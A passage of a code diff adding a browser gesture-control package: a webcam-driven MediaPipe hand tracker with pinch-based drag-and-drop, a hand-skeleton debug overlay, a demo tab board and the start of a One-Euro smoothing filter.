+    ghost.style.left = `${x}px`;
+    ghost.style.top = `${y}px`;
+  }
+
+  private cancelAllGrabs(): void {
+    // Floats themselves persist (they're placed windows) — only release any
+    // in-progress grab cleanly, restoring a moved panel's interactivity.
+    for (const grab of this.grabs.values()) {
+      if (grab.kind === 'tab') {
+        grab.ghost.remove();
+        grab.tab.classList.remove('cg-grabbed');
+      } else {
+        grab.panel.el.style.pointerEvents = '';
+        grab.panel.el.classList.remove('cg-float-grabbed', 'cg-redock');
+      }
+    }
+    this.grabs.clear();
+    for (const tap of this.taps.values()) tap.el.classList.remove('cg-tap-armed');
+    this.taps.clear();
+    document
+      .querySelectorAll(`${TAB_SELECTOR}.cg-grabbed, .cg-tap-armed`)
+      .forEach((t) => t.classList.remove('cg-grabbed', 'cg-tap-armed'));
+  }
+
+  private onStatus(fps: number, hands: HandState[]): void {
+    // Draw per-hand cursor dots (green while pinching) so the user can aim.
+    const { width, height } = this.canvas;
+    const dpr = window.devicePixelRatio || 1;
+    this.ctx.clearRect(0, 0, width, height);
+    const rect = this.surface.getBoundingClientRect();
+    for (const h of hands) {
+      const x = (1 - h.cursor.x) * rect.width;
+      const y = h.cursor.y * rect.height;
+      this.ctx.beginPath();
+      this.ctx.arc(x * dpr, y * dpr, (h.pinching ? 14 : 9) * dpr, 0, Math.PI * 2);
+      this.ctx.fillStyle = handColor(h.handedness, h.pinching);
+      this.ctx.globalAlpha = 0.85;
+      this.ctx.fill();
+      this.ctx.globalAlpha = 1;
+    }
+    if (this.running && this.grabs.size === 0 && this.taps.size === 0) {
+      this.status.textContent = `on · ${fps}fps`;
+    }
+  }
+
+  private flash(msg: string): void {
+    this.status.textContent = msg;
+  }
+
+  private sizeCanvas(): void {
+    const dpr = window.devicePixelRatio || 1;
+    this.canvas.width = Math.floor(window.innerWidth * dpr);
+    this.canvas.height = Math.floor(window.innerHeight * dpr);
+  }
+}
+
+// ---- tiny helpers ------------------------------------------------------
+
+function el(tag: string, className: string): HTMLElement {
+  const node = document.createElement(tag);
+  node.className = className;
+  return node;
+}
+
+/** Best-effort human-readable message for any thrown value (Error or not). */
+function describeError(err: unknown): string {
+  if (err instanceof Error) return err.message || err.name || 'Error';
+  if (typeof err === 'string') return err;
+  if (typeof err === 'number') return `code ${err}`;
+  if (err && typeof err === 'object') {
+    const m = (err as { message?: unknown }).message;
+    if (typeof m === 'string' && m) return m;
+    try {
+      return JSON.stringify(err);
+    } catch {
+      return Object.prototype.toString.call(err);
+    }
+  }
+  return String(err);
+}
+
+function injectStyles(): void {
+  if (document.getElementById('cg-styles')) return;
+  const css = `
+  .cg-surface, .cg-canvas { position: fixed; inset: 0; pointer-events: none; }
+  .cg-surface { z-index: ${Z}; }
+  .cg-canvas  { z-index: ${Z + 1}; width: 100vw; height: 100vh; }
+  .cg-preview { transform: scaleX(-1); pointer-events: none; background: #000; }
+  .cg-preview.cg-pip {
+    position: fixed; right: 12px; bottom: 12px; width: 240px; height: 135px;
+    object-fit: cover; border-radius: 8px; z-index: ${Z + 2};
+    box-shadow: 0 4px 16px rgba(0,0,0,.5); opacity: 1;
+  }
+  .cg-preview.cg-full {
+    position: fixed; inset: 0; width: 100vw; height: 100vh;
+    object-fit: cover; opacity: .28; z-index: ${Z};
+  }
+  .cg-ghost {
+    position: fixed; left: 0; top: 0; transform: translate(-50%, -50%) scale(1.06);
+    z-index: ${Z + 2}; pointer-events: none; opacity: .92;
+    box-shadow: 0 8px 28px rgba(0,0,0,.55); border-radius: 8px;
+    outline: 2px solid #38bdf8; outline-offset: -2px;
+  }
+  .cg-ghost.cg-armed { outline-color: #4ade80; box-shadow: 0 8px 28px rgba(74,222,128,.5); }
+  .cg-dock {
+    position: fixed; right: 12px; bottom: 156px; z-index: ${Z + 3};
+    display: flex; align-items: center; gap: 8px; font: 12px/1 system-ui, sans-serif;
+  }
+  .cg-btn {
+    padding: 6px 12px; border-radius: 6px; border: 1px solid #3a3a40;
+    background: #1b1b1f; color: #e5e5e7; cursor: pointer;
+  }
+  .cg-btn-icon { padding: 6px 9px; }
+  .cg-btn.on { background: #16331f; border-color: #2f6b41; color: #4ade80; }
+  .cg-status { color: #9aa0a6; max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
+  .session-tab.cg-grabbed { opacity: .35; outline: 2px dashed #4ade80; outline-offset: -2px; }
+  .cg-tap-armed { outline: 2px solid #4ade80 !important; outline-offset: 2px; box-shadow: 0 0 0 4px rgba(74,222,128,.25) !important; }
+  .cg-float {
+    position: fixed; left: 0; top: 0; width: ${FLOAT_W}px; height: ${FLOAT_H}px;
+    z-index: ${Z}; display: flex; flex-direction: column; overflow: hidden;
+    background: #0c0c0f; border-radius: 10px; outline: 2px solid #38bdf8;
+    outline-offset: -2px; box-shadow: 0 10px 40px rgba(0,0,0,.6);
+  }
+  .cg-float.cg-float-grabbed { outline-color: #4ade80; box-shadow: 0 12px 48px rgba(74,222,128,.45); }
+  .cg-float.cg-redock { outline-color: #fbbf24; box-shadow: 0 12px 48px rgba(251,191,36,.5); }
+  .cg-float-bar {
+    flex: 0 0 auto; padding: 4px 10px; font: 11px/1.6 system-ui, sans-serif;
+    color: #cbd5e1; background: #15151a; border-bottom: 1px solid #2a2a30;
+    user-select: none; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
+  }
+  .cg-float-frame { flex: 1 1 auto; width: 100%; border: 0; background: #000; }
+  `;
+  const style = document.createElement('style');
+  style.id = 'cg-styles';
+  style.textContent = css;
+  document.head.append(style);
+}
+
+// Idempotent bootstrap — re-importing must not stack overlays.
+if (!window.__codemanGesture) {
+  window.__codemanGesture = new GestureBridge();
+}

packages/gesture-control/src/demo/overlay.ts

@@ -0,0 +1,120 @@
+// Debug overlay: draws the 21-point hand skeleton over the (mirrored) video.
+//
+// The <video> is mirrored via CSS (transform: scaleX(-1)). To make the drawn
+// skeleton line up with what you see, we mirror the X coordinate here
+// (x_draw = (1 - x) * width) rather than CSS-mirroring the canvas — that keeps
+// any future text we draw readable.
+
+import type { GestureRecognizerResult } from '@mediapipe/tasks-vision';
+import { HAND_CONNECTIONS } from '../gesture/landmarks.ts';
+
+/** A cursor to draw: raw normalized position + base color + pinch state. */
+export interface CursorMark {
+  x: number;
+  y: number;
+  color: string;
+  pinching: boolean;
+}
+
+export class Overlay {
+  private ctx: CanvasRenderingContext2D;
+
+  constructor(
+    private canvas: HTMLCanvasElement,
+    private video: HTMLVideoElement
+  ) {
+    const ctx = canvas.getContext('2d');
+    if (!ctx) throw new Error('Could not get 2D context for overlay canvas');
+    this.ctx = ctx;
+  }
+
+  /** Match the canvas backing-store resolution to the displayed video size. */
+  private syncSize(): void {
+    const w = this.video.videoWidth || this.video.clientWidth;
+    const h = this.video.videoHeight || this.video.clientHeight;
+    if (w && h && (this.canvas.width !== w || this.canvas.height !== h)) {
+      this.canvas.width = w;
+      this.canvas.height = h;
+    }
+  }
+
+  clear(): void {
+    this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
+  }
+
+  /**
+   * Draw the detected hands' skeletons plus one smoothed cursor per hand.
+   * Cursor coords are raw normalized [0,1] (mirrored here, like the skeleton).
+   */
+  draw(result: GestureRecognizerResult, cursors: CursorMark[] = []): void {
+    this.syncSize();
+    const { width: w, height: h } = this.canvas;
+    const ctx = this.ctx;
+    ctx.clearRect(0, 0, w, h);
+
+    const hands = result.landmarks ?? [];
+    for (const landmarks of hands) {
+      // Connections (bones)
+      ctx.strokeStyle = 'rgba(80, 220, 255, 0.9)';
+      ctx.lineWidth = 3;
+      for (const [a, b] of HAND_CONNECTIONS) {
+        const pa = landmarks[a];
+        const pb = landmarks[b];
+        if (!pa || !pb) continue;
+        ctx.beginPath();
+        ctx.moveTo((1 - pa.x) * w, pa.y * h);
+        ctx.lineTo((1 - pb.x) * w, pb.y * h);
+        ctx.stroke();
+      }
+
+      // Joints (points)
+      for (let i = 0; i < landmarks.length; i++) {
+        const p = landmarks[i];
+        const x = (1 - p.x) * w;
+        const y = p.y * h;
+        // Highlight thumb tip (4) + index tip (8) — these drive the cursor later.
+        const isPinchPoint = i === 4 || i === 8;
+        ctx.fillStyle = isPinchPoint ? '#ffd166' : '#ff5d8f';
+        ctx.beginPath();
+        ctx.arc(x, y, isPinchPoint ? 7 : 4, 0, Math.PI * 2);
+        ctx.fill();
+      }
+    }
+
+    for (const c of cursors) this.drawCursor(c, w, h);
+  }
+
+  /** A ring + crosshair at the cursor; green + filled while pinching. */
+  private drawCursor(cursor: CursorMark, w: number, h: number): void {
+    const ctx = this.ctx;
+    const cx = (1 - cursor.x) * w; // mirror X to match the displayed video
+    const cy = cursor.y * h;
+    const pinching = cursor.pinching;
+    const r = pinching ? 16 : 12;
+    const color = pinching ? '#4ade80' : cursor.color;
+
+    if (pinching) {
+      ctx.fillStyle = 'rgba(74, 222, 128, 0.25)';
+      ctx.beginPath();
+      ctx.arc(cx, cy, r, 0, Math.PI * 2);
+      ctx.fill();
+    }
+
+    ctx.strokeStyle = color;
+    ctx.lineWidth = 3;
+    ctx.beginPath();
+    ctx.arc(cx, cy, r, 0, Math.PI * 2);
+    ctx.stroke();
+
+    ctx.beginPath();
+    ctx.moveTo(cx - r - 5, cy);
+    ctx.lineTo(cx - r + 4, cy);
+    ctx.moveTo(cx + r - 4, cy);
+    ctx.lineTo(cx + r + 5, cy);
+    ctx.moveTo(cx, cy - r - 5);
+    ctx.lineTo(cx, cy - r + 4);
+    ctx.moveTo(cx, cy + r - 4);
+    ctx.lineTo(cx, cy + r + 5);
+    ctx.stroke();
+  }
+}

packages/gesture-control/src/demo/tabs.ts

@@ -0,0 +1,209 @@
+// demo/tabs.ts — Phase 3 fake-tab board.
+//
+// 3 columns of draggable "session" tabs, driven entirely by gesture events
+// (no mouse). The board overlays the camera stage, so surface-pixel coords
+// from GestureController map straight onto board-local coords.
+//
+// Source of truth for which tab is in which column is the DOM itself. The
+// state machine here is tiny: grab → (drag)* → drop, tracked per hand so two
+// hands can drag two tabs at once.
+
+interface Tab {
+  id: string;
+  el: HTMLElement;
+}
+
+interface Column {
+  id: string;
+  title: string;
+  el: HTMLElement;
+  list: HTMLElement;
+}
+
+interface Grab {
+  tab: Tab;
+  originList: HTMLElement;
+  w: number;
+  h: number;
+}
+
+/** A hovering cursor for highlight purposes. */
+export interface HoverPoint {
+  x: number;
+  y: number;
+  pinching: boolean;
+}
+
+const INITIAL: Array<{ id: string; title: string; tabs: string[] }> = [
+  { id: 'screen-1', title: 'Screen 1', tabs: ['auth-refactor', 'api-tests'] },
+  { id: 'screen-2', title: 'Screen 2', tabs: ['db-migrate', 'ui-polish', 'docs'] },
+  { id: 'screen-3', title: 'Screen 3', tabs: ['ci-fix'] },
+];
+
+export class TabsBoard {
+  private columns: Column[] = [];
+  private tabs = new Map<string, Tab>();
+  /** hand id → the tab it is currently dragging. */
+  private grabs = new Map<string, Grab>();
+
+  /** @param onDrop notified after a settled drop: (tab, column or null if cancelled). */
+  constructor(
+    private root: HTMLElement,
+    private onDrop?: (tabId: string, columnId: string | null) => void
+  ) {
+    this.build();
+  }
+
+  private build(): void {
+    this.root.classList.add('board');
+    for (const col of INITIAL) {
+      const el = document.createElement('div');
+      el.className = 'column';
+      el.dataset.col = col.id;
+
+      const header = document.createElement('header');
+      header.textContent = col.title;
+
+      const list = document.createElement('div');
+      list.className = 'tablist';
+
+      el.append(header, list);
+      this.root.append(el);
+      this.columns.push({ id: col.id, title: col.title, el, list });
+
+      for (const id of col.tabs) {
+        const tab = this.makeTab(id);
+        list.append(tab.el);
+      }
+    }
+  }
+
+  private makeTab(id: string): Tab {
+    const el = document.createElement('div');
+    el.className = 'tab';
+    el.dataset.tab = id;
+    el.textContent = id;
+    const tab: Tab = { id, el };
+    this.tabs.set(id, tab);
+    return tab;
+  }
+
+  // ---- Geometry --------------------------------------------------------
+
+  /** Element rect in board-local coords (origin = board top-left). */
+  private localRect(el: HTMLElement): DOMRect {
+    const r = el.getBoundingClientRect();
+    const base = this.root.getBoundingClientRect();
+    return new DOMRect(r.left - base.left, r.top - base.top, r.width, r.height);
+  }
+
+  /** Hit-test slop (px). Cursor jitter + a small target shouldn't fight you. */
+  private static readonly GRAB_PAD = 18;
+
+  private static contains(r: DOMRect, x: number, y: number, pad = 0): boolean {
+    return x >= r.left - pad && x <= r.right + pad && y >= r.top - pad && y <= r.bottom + pad;
+  }
+
+  private columnAt(x: number, y: number): Column | null {
+    for (const c of this.columns) {
+      if (TabsBoard.contains(this.localRect(c.el), x, y)) return c;
+    }
+    return null;
+  }
+
+  /** Topmost ungrabbed tab under the point. Nearest-center wins ties so the
+   *  padded hit-areas of adjacent tabs resolve to the most likely target. */
+  private tabAt(x: number, y: number): Tab | null {
+    let best: Tab | null = null;
+    let bestDist = Infinity;
+    for (const tab of this.tabs.values()) {
+      if (this.isGrabbed(tab.id)) continue;
+      const r = this.localRect(tab.el);
+      if (!TabsBoard.contains(r, x, y, TabsBoard.GRAB_PAD)) continue;
+      const cx = r.left + r.width / 2;
+      const cy = r.top + r.height / 2;
+      const d = (x - cx) ** 2 + (y - cy) ** 2;
+      if (d < bestDist) {
+        bestDist = d;
+        best = tab;
+      }
+    }
+    return best;
+  }
+
+  private isGrabbed(tabId: string): boolean {
+    for (const g of this.grabs.values()) if (g.tab.id === tabId) return true;
+    return false;
+  }
+
+  // ---- Highlights (driven each frame from the status snapshot) ---------
+
+  /** Recompute hover highlights from the full set of present cursors. */
+  hover(points: HoverPoint[]): void {
+    this.root.querySelectorAll('.col-hot, .tab-hot').forEach((el) => el.classList.remove('col-hot', 'tab-hot'));
+
+    for (const p of points) {
+      this.columnAt(p.x, p.y)?.el.classList.add('col-hot');
+      // Only show a grab affordance when the hand is open (not pinching).
+      if (!p.pinching) this.tabAt(p.x, p.y)?.el.classList.add('tab-hot');
+    }
+  }
+
+  // ---- Drag state machine ---------------------------------------------
+
+  grab(hand: string, x: number, y: number): void {
+    if (this.grabs.has(hand)) return;
+    const tab = this.tabAt(x, y);
+    if (!tab) return;
+
+    const rect = this.localRect(tab.el);
+    this.grabs.set(hand, {
+      tab,
+      originList: tab.el.parentElement as HTMLElement,
+      w: rect.width,
+      h: rect.height,
+    });
+    tab.el.classList.add('dragging');
+    tab.el.style.width = `${rect.width}px`;
+    // Reparent the floating tab onto the board root before positioning it.
+    // A `.column` can't be the containing block: its `backdrop-filter` makes it
+    // the containing block for absolutely-positioned children, so our
+    // board-local left/top would be offset by the column's own position (tabs
+    // in the middle/right columns flew off to the right). #board has no
+    // filter/transform, so it's a stable origin that matches moveTo's coords.
+    this.root.append(tab.el);
+    this.moveTo(tab.el, x, y, rect.width, rect.height);
+  }
+
+  drag(hand: string, x: number, y: number): void {
+    const g = this.grabs.get(hand);
+    if (!g) return;
+    this.moveTo(g.tab.el, x, y, g.w, g.h);
+  }
+
+  drop(hand: string, x: number, y: number): void {
+    const g = this.grabs.get(hand);
+    if (!g) return;
+    this.grabs.delete(hand);
+
+    const target = this.columnAt(x, y);
+    const dest = target ? target.list : g.originList;
+    dest.append(g.tab.el);
+
+    g.tab.el.classList.remove('dragging');
+    g.tab.el.style.removeProperty('width');
+    g.tab.el.style.removeProperty('left');
+    g.tab.el.style.removeProperty('top');
+
+    this.onDrop?.(g.tab.id, target ? target.id : null);
+  }
+
+  /** Center the floating tab on the cursor (clamped to the board). */
+  private moveTo(el: HTMLElement, x: number, y: number, w: number, h: number): void {
+    const base = this.root.getBoundingClientRect();
+    const left = Math.max(0, Math.min(x - w / 2, base.width - w));
+    const top = Math.max(0, Math.min(y - h / 2, base.height - h));
+    el.style.left = `${left}px`;
+    el.style.top = `${top}px`;
+  }
+}

packages/gesture-control/src/gesture/GestureController.ts

@@ -0,0 +1,386 @@
+// GestureController — core input layer.
+//
+// Phase 0/1 scope (this file currently implements):
+//   - Open the webcam (getUserMedia) and attach it to a <video>.
+//   - Load MediaPipe GestureRecognizer in VIDEO mode (wasm + .task from CDN).
+//   - Run a requestAnimationFrame loop calling recognizeForVideo().
+//   - Emit `status` (fps / handPresent / gesture) and `results` (raw, debug).
+//
+// Later phases add the cursor (One-Euro filtered), pinch hysteresis, the
+// hover/grab/drag/drop state machine, and the discrete gesture command bus.
+// The event surface in types.ts already declares those so the API is stable.
+
+import { FilesetResolver, GestureRecognizer, type GestureRecognizerResult } from '@mediapipe/tasks-vision';
+import type {
+  GestureControllerOptions,
+  GestureEventHandler,
+  GestureEventMap,
+  GestureEventName,
+  HandState,
+} from './types.ts';
+import { LANDMARK, midpoint } from './landmarks.ts';
+import { OneEuroFilter } from './OneEuroFilter.ts';
+import { PinchDetector, pinchDistance } from './pinch.ts';
+import { CommandDetector } from './commands.ts';
+
+const DEFAULTS = {
+  numHands: 1,
+  deviceId: '',
+  pinchOn: 0.35,
+  pinchOff: 0.5,
+  minCutoff: 1.0,
+  beta: 0.01,
+  palmHoldMs: 1000,
+  minDetectionConfidence: 0.6,
+  minTrackingConfidence: 0.6,
+  // Pinned to the @mediapipe/tasks-vision version in package.json.
+  wasmBase: 'https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@0.10.21/wasm',
+  modelUrl:
+    'https://storage.googleapis.com/mediapipe-models/gesture_recognizer/gesture_recognizer/float16/1/gesture_recognizer.task',
+} as const;
+
+interface PerHandState {
+  cursorX: OneEuroFilter;
+  cursorY: OneEuroFilter;
+  pinch: PinchDetector;
+  /** Original handedness label (the map key may be disambiguated). */
+  label: string;
+  /** Last emitted surface-pixel position, so we can drop on a vanished hand. */
+  lastX: number;
+  lastY: number;
+}
+
+export class GestureController {
+  private readonly opts: Required<GestureControllerOptions>;
+  private recognizer: GestureRecognizer | null = null;
+  private stream: MediaStream | null = null;
+  private rafId: number | null = null;
+  private running = false;
+
+  // Timestamps must be strictly increasing for recognizeForVideo.
+  private lastVideoTime = -1;
+  private lastTimestamp = -1;
+
+  // FPS tracking (rolling over a short window).
+  private frameTimes: number[] = [];
+
+  // Per-hand smoothing + pinch state, keyed by handedness ("Left"/"Right") so a
+  // hand keeps its own filters even when MediaPipe reorders the hands array.
+  private readonly handStates = new Map<string, PerHandState>();
+
+  // Discrete gesture → command bus (debounced; Open_Palm held = halt-all).
+  private readonly commands: CommandDetector;
+
+  // Internal storage is intentionally loose; the public on/off/emit signatures
+  // below keep callers fully type-safe per event name.
+  private listeners: Partial<Record<GestureEventName, Set<(payload: unknown) => void>>> = {};
+
+  constructor(options: GestureControllerOptions) {
+    this.opts = {
+      surface: options.surface ?? options.video,
+      numHands: options.numHands ?? DEFAULTS.numHands,
+      deviceId: options.deviceId ?? DEFAULTS.deviceId,
+      pinchOn: options.pinchOn ?? DEFAULTS.pinchOn,
+      pinchOff: options.pinchOff ?? DEFAULTS.pinchOff,
+      minCutoff: options.minCutoff ?? DEFAULTS.minCutoff,
+      beta: options.beta ?? DEFAULTS.beta,
+      palmHoldMs: options.palmHoldMs ?? DEFAULTS.palmHoldMs,
+      minDetectionConfidence: options.minDetectionConfidence ?? DEFAULTS.minDetectionConfidence,
+      minTrackingConfidence: options.minTrackingConfidence ?? DEFAULTS.minTrackingConfidence,
+      wasmBase: options.wasmBase ?? DEFAULTS.wasmBase,
+      modelUrl: options.modelUrl ?? DEFAULTS.modelUrl,
+      video: options.video,
+    };
+
+    this.commands = new CommandDetector(this.opts.palmHoldMs);
+  }
+
+  /** Get (or lazily create) the smoothing + pinch state for one hand. */
+  private handState(key: string): PerHandState {
+    let state = this.handStates.get(key);
+    if (!state) {
+      state = {
+        cursorX: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
+        cursorY: new OneEuroFilter(this.opts.minCutoff, this.opts.beta),
+        pinch: new PinchDetector(this.opts.pinchOn, this.opts.pinchOff),
+        label: key,
+        lastX: 0,
+        lastY: 0,
+      };
+      this.handStates.set(key, state);
+    }
+    return state;
+  }
+
+  // ---- Event emitter ---------------------------------------------------
+
+  on<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
+    (this.listeners[event] ??= new Set()).add(handler as (payload: unknown) => void);
+    return this;
+  }
+
+  off<K extends GestureEventName>(event: K, handler: GestureEventHandler<K>): this {
+    this.listeners[event]?.delete(handler as (payload: unknown) => void);
+    return this;
+  }
+
+  private emit<K extends GestureEventName>(event: K, payload: GestureEventMap[K]): void {
+    this.listeners[event]?.forEach((h) => h(payload));
+  }
+
+  // ---- Lifecycle -------------------------------------------------------
+
+  /** Request the camera, load the model, and start the recognition loop. */
+  async start(): Promise<void> {
+    if (this.running) return;
+
+    await this.openCamera();
+    await this.loadRecognizer();
+
+    this.running = true;
+    this.lastVideoTime = -1;
+    this.lastTimestamp = -1;
+    this.frameTimes = [];
+    this.handStates.clear();
+    this.commands.reset();
+    this.loop();
+  }
+
+  /** Stop the loop, release the camera, and close the recognizer. */
+  stop(): void {
+    this.running = false;
+    if (this.rafId !== null) {
+      cancelAnimationFrame(this.rafId);
+      this.rafId = null;
+    }
+    if (this.stream) {
+      this.stream.getTracks().forEach((t) => t.stop());
+      this.stream = null;
+    }
+    this.opts.video.srcObject = null;
+    this.recognizer?.close();
+    this.recognizer = null;
+  }
+
+  /** The camera currently in use (resolved deviceId), or "" if not started. */
+  get deviceId(): string {
+    return this.opts.deviceId;
+  }
+
+  /** List available video input devices. Labels are only populated once the
+   *  user has granted camera permission (i.e. after the first start()). */
+  async listCameras(): Promise<MediaDeviceInfo[]> {
+    const devices = await navigator.mediaDevices.enumerateDevices();
+    return devices.filter((d) => d.kind === 'videoinput');
+  }
+
+  /** Switch to a different camera. Reopens the stream live if already running. */
+  async useCamera(deviceId: string): Promise<void> {
+    this.opts.deviceId = deviceId;
+    if (!this.running) return;
+    if (this.stream) {
+      this.stream.getTracks().forEach((t) => t.stop());
+      this.stream = null;
+    }
+    await this.openCamera();
+    // Fresh camera = fresh geometry; drop stale filter state to avoid a snap.
+    this.handStates.clear();
+    this.lastVideoTime = -1;
+  }
+
+  // ---- Setup -----------------------------------------------------------
+
+  private async openCamera(): Promise<void> {
+    if (!navigator.mediaDevices?.getUserMedia) {
+      throw new Error('getUserMedia is not available (needs a secure context).');
+    }
+    const videoConstraints: MediaTrackConstraints = {
+      width: { ideal: 1280 },
+      height: { ideal: 720 },
+      frameRate: { ideal: 60, max: 60 },
+    };
+    // A specific device wins; otherwise ask for the user-facing camera.
+    if (this.opts.deviceId) videoConstraints.deviceId = { exact: this.opts.deviceId };
+    else videoConstraints.facingMode = 'user';
+
+    const stream = await navigator.mediaDevices.getUserMedia({
+      video: videoConstraints,
+      audio: false,
+    });
+    this.stream = stream;
+    // Record the resolved device so callers can pre-select it in a UI.
+    this.opts.deviceId = stream.getVideoTracks()[0]?.getSettings().deviceId ?? this.opts.deviceId;
+    const video = this.opts.video;
+    video.srcObject = stream;
+    video.muted = true;
+    video.playsInline = true;
+    await video.play();
+
+    // Wait until dimensions are known so the overlay can size itself.
+    if (!video.videoWidth) {
+      await new Promise<void>((resolve) => {
+        const onMeta = () => {
+          video.removeEventListener('loadedmetadata', onMeta);
+          resolve();
+        };
+        video.addEventListener('loadedmetadata', onMeta);
+      });
+    }
+  }
+
+  private async loadRecognizer(): Promise<void> {
+    const fileset = await FilesetResolver.forVisionTasks(this.opts.wasmBase);
+    const build = (delegate: 'GPU' | 'CPU') =>
+      GestureRecognizer.createFromOptions(fileset, {
+        baseOptions: {
+          modelAssetPath: this.opts.modelUrl,
+          delegate,
+        },
+        runningMode: 'VIDEO',
+        numHands: this.opts.numHands,
+        minHandDetectionConfidence: this.opts.minDetectionConfidence,
+        minHandPresenceConfidence: this.opts.minDetectionConfidence,
+        minTrackingConfidence: this.opts.minTrackingConfidence,
+      });
+    // GPU is the fast path (60fps on the MacBook). But some environments fail to
+    // init the GPU delegate — and MediaPipe/Emscripten often throws a *non-Error*
+    // value there (a raw number/string), which surfaces upstream as a useless
+    // "failed: undefined". Fall back to CPU so the recognizer still starts.
+    try {
+      this.recognizer = await build('GPU');
+    } catch (err) {
+      console.warn('[gesture] GPU delegate failed; falling back to CPU.', err);
+      this.recognizer = await build('CPU');
+    }
+  }
+
+  // ---- Loop ------------------------------------------------------------
+
+  private loop = (): void => {
+    if (!this.running || !this.recognizer) return;
+    this.rafId = requestAnimationFrame(this.loop);
+
+    const video = this.opts.video;
+    if (video.readyState < 2 /* HAVE_CURRENT_DATA */) return;
+
+    // Strictly increasing timestamp in ms.
+    let ts = performance.now();
+    if (ts <= this.lastTimestamp) ts = this.lastTimestamp + 1;
+    this.lastTimestamp = ts;
+
+    // Only re-run inference when the video frame actually advanced.
+    if (video.currentTime === this.lastVideoTime) return;
+    this.lastVideoTime = video.currentTime;
+
+    let result: GestureRecognizerResult;
+    try {
+      result = this.recognizer.recognizeForVideo(video, ts);
+    } catch (err) {
+      console.error('recognizeForVideo failed', err);
+      return;
+    }
+
+    this.trackFps(ts);
+    this.publish(result, ts);
+  };
+
+  private trackFps(nowMs: number): void {
+    this.frameTimes.push(nowMs);
+    const windowStart = nowMs - 1000;
+    while (this.frameTimes.length && this.frameTimes[0] < windowStart) {
+      this.frameTimes.shift();
+    }
+  }
+
+  private get fps(): number {
+    if (this.frameTimes.length < 2) return 0;
+    const span = this.frameTimes[this.frameTimes.length - 1] - this.frameTimes[0];
+    if (span <= 0) return 0;
+    return Math.round(((this.frameTimes.length - 1) / span) * 1000);
+  }
+
+  private publish(result: GestureRecognizerResult, ts: number): void {
+    const allLandmarks = result.landmarks ?? [];
+    const handedness = result.handedness ?? [];
+    const gestures = result.gestures ?? [];
+    const tSec = ts / 1000;
+
+    // Surface rect → maps normalized [0,1] coords to surface pixels (X mirrored).
+    const rect = this.opts.surface.getBoundingClientRect();
+
+    const hands: HandState[] = [];
+    const activeKeys = new Set<string>();
+
+    for (let i = 0; i < allLandmarks.length; i++) {
+      const lm = allLandmarks[i];
+      if (!lm || lm.length === 0) continue;
+
+      // Key by handedness so each hand keeps its own filters across frames.
+      // Fall back to index, and disambiguate if both hands share a label.
+      const label = handedness[i]?.[0]?.categoryName ?? `hand${i}`;
+      let key = label;
+      if (activeKeys.has(key)) key = `${label}#${i}`;
+      activeKeys.add(key);
+
+      const state = this.handState(key);
+      const mid = midpoint(lm[LANDMARK.THUMB_TIP], lm[LANDMARK.INDEX_TIP]);
+      const cursor = {
+        x: state.cursorX.filter(mid.x, tSec),
+        y: state.cursorY.filter(mid.y, tSec),
+      };
+      const pinchDist = pinchDistance(lm);
+      const changed = state.pinch.update(pinchDist);
+      const gesture = gestures[i]?.[0]?.categoryName ?? null;
+
+      // Pinch state machine → discrete drag events in surface pixels.
+      const sx = (1 - cursor.x) * rect.width;
+      const sy = cursor.y * rect.height;
+      state.lastX = sx;
+      state.lastY = sy;
+      const pointer = { hand: label, x: sx, y: sy };
+      if (state.pinch.isPinching) {
+        this.emit(changed ? 'grab' : 'drag', pointer);
+      } else if (changed) {
+        this.emit('drop', pointer);
+      }
+
+      hands.push({
+        handedness: label,
+        cursor,
+        pinchDist,
+        pinching: state.pinch.isPinching,
+        gesture: gesture && gesture !== 'None' ? gesture : null,
+      });
+    }
+
+    // Drop state for hands that vanished, so a returning hand starts fresh
+    // (no snap from a stale filter position) and the map can't grow unbounded.
+    // If a vanished hand was mid-pinch, emit a drop so nothing stays grabbed.
+    for (const key of [...this.handStates.keys()]) {
+      if (activeKeys.has(key)) continue;
+      const stale = this.handStates.get(key)!;
+      if (stale.pinch.isPinching) {
+        this.emit('drop', { hand: stale.label, x: stale.lastX, y: stale.lastY });
+      }
+      this.handStates.delete(key);
+    }
+
+    // Discrete commands come from open-hand gestures; ignore a hand that's
+    // pinching (mid-drag) so a drag can't be misread as a command.
+    const commandGestures = new Set<string>();
+    for (const h of hands) {
+      if (!h.pinching && h.gesture) commandGestures.add(h.gesture);
+    }
+    for (const name of this.commands.update(commandGestures, ts)) {
+      this.emit('command', { name });
+    }
+
+    // Status first so the overlay can read this frame's cursors in `results`.
+    this.emit('status', {
+      fps: this.fps,
+      hands,
+      haltProgress: this.commands.haltProgress(ts),
+    });
+    this.emit('results', { result, timestampMs: ts });
+  }
+}

packages/gesture-control/src/gesture/OneEuroFilter.ts

@@ -0,0 +1,73 @@
+// One-Euro filter — low-latency smoothing for noisy interactive signals.
+// Heavy smoothing when the value is still (kills jitter), low lag when it moves
+// fast. The correct tool for raw landmark streams, which jitter several pixels
+// even when the hand is held still.
+//
+// Reference: Casiez, Roussel, Vogel — "1€ Filter" (CHI 2012),
+// http://cristal.univ-lille.fr/~casiez/1euro/
+//
+// One filter handles a single scalar; use one instance per axis (x, y).
+
+/** Smoothing factor for a low-pass step given a cutoff (Hz) and timestep (s). */
+function smoothingAlpha(cutoffHz: number, dtSec: number): number {
+  const tau = 1 / (2 * Math.PI * cutoffHz);
+  return 1 / (1 + tau / dtSec);
+}
+
+/** Exponential low-pass that remembers its last output. */
+class LowPass {
+  private value: number | null = null;
+
+  filter(x: number, alpha: number): number {
+    this.value = this.value === null ? x : alpha * x + (1 - alpha) * this.value;
+    return this.value;
+  }
+
+  reset(): void {
+    this.value = null;
+  }
+
+  get initialized(): boolean {
+    return this.value !== null;
+  }
+}
+
+export class OneEuroFilter {
+  private readonly signal = new LowPass();
+  private readonly derivative = new LowPass();
+  private lastTimeSec: number | null = null;
+  private lastRaw = 0;
+
+  /**
+   * @param minCutoff Baseline cutoff (Hz). Lower → smoother but laggier when still.
+   * @param beta      Speed coefficient. Higher → less lag during fast moves.
+   * @param dCutoff   Cutoff for the derivative low-pass (Hz). 1.0 is fine.
+   */
+  constructor(
+    private minCutoff = 1.0,
+    private beta = 0.01,
+    private dCutoff = 1.0
+  ) {}
+
+  reset(): void {
+    this.signal.reset();
+    this.derivative.reset();
+    this.lastTimeSec = null;
